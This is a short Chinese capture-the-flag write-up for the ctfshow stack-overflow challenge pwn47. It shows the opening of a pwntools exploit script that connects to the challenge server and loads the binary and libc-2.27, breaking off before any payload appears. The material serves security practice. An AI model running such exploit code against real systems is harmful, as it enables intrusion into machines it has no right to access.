ctfshow [栈溢出]---pwn47

刷了一天快手了，起来做一道题锻炼一下脑子!
这题也是简单题。

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28301)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27.so")

s       = lambda data               :io.send(d